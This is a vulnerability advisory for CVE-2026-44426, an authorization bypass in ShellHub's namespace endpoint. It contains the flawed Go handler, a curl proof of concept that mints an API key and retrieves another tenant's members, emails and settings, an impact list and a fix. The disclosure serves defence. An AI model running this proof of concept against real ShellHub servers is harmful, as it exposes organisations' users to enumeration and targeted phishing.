CVE-2026-44426

Description

## Summary `GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope. The handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication. ## Affected versions ShellHub Community v0.24.1 (validated). ## Root cause `api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil: ```go var uid string if c.ID() != nil { uid = c.ID().ID } ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant) if err != nil || ns == nil { return c.NoContent(http.StatusNotFound) } if uid != "" { // ⚠️ skipped when API Key is used if _, ok := ns.FindMember(uid); !ok { return c.NoContent(http.StatusForbidden) } } return c.JSON(http.StatusOK, ns) ``` `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`, and `X-API-KEY` for API Key authentication — never `X-ID`. So `c.Request().Header.Get("X-ID")` returns `""`, `c.ID()` returns `nil`, and the membership check is bypassed. ## Proof of concept (validated live against v0.24.1) ```bash # Attacker authenticates in their own namespace and mints an API Key ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token) ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","expires_at":30}' | jq -r .id) # Baseline: same request with JWT is correctly blocked curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Observed: HTTP 403 (correct) # Exploit: same request with API Key returns full namespace curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "X-API-Key: $ATTACKER_KEY" # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...], # settings, max_devices, devices_accepted_count, type, created_at} ``` ## Impact - Enumeration of any ShellHub namespace by tenant UUID. - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization. - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity. ## Suggested fix Two layers: 1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers: ```go // nsadm.go GetNamespace if c.Tenant() != nil && c.Tenant().ID != req.Tenant { return c.NoContent(http.StatusForbidden) } ```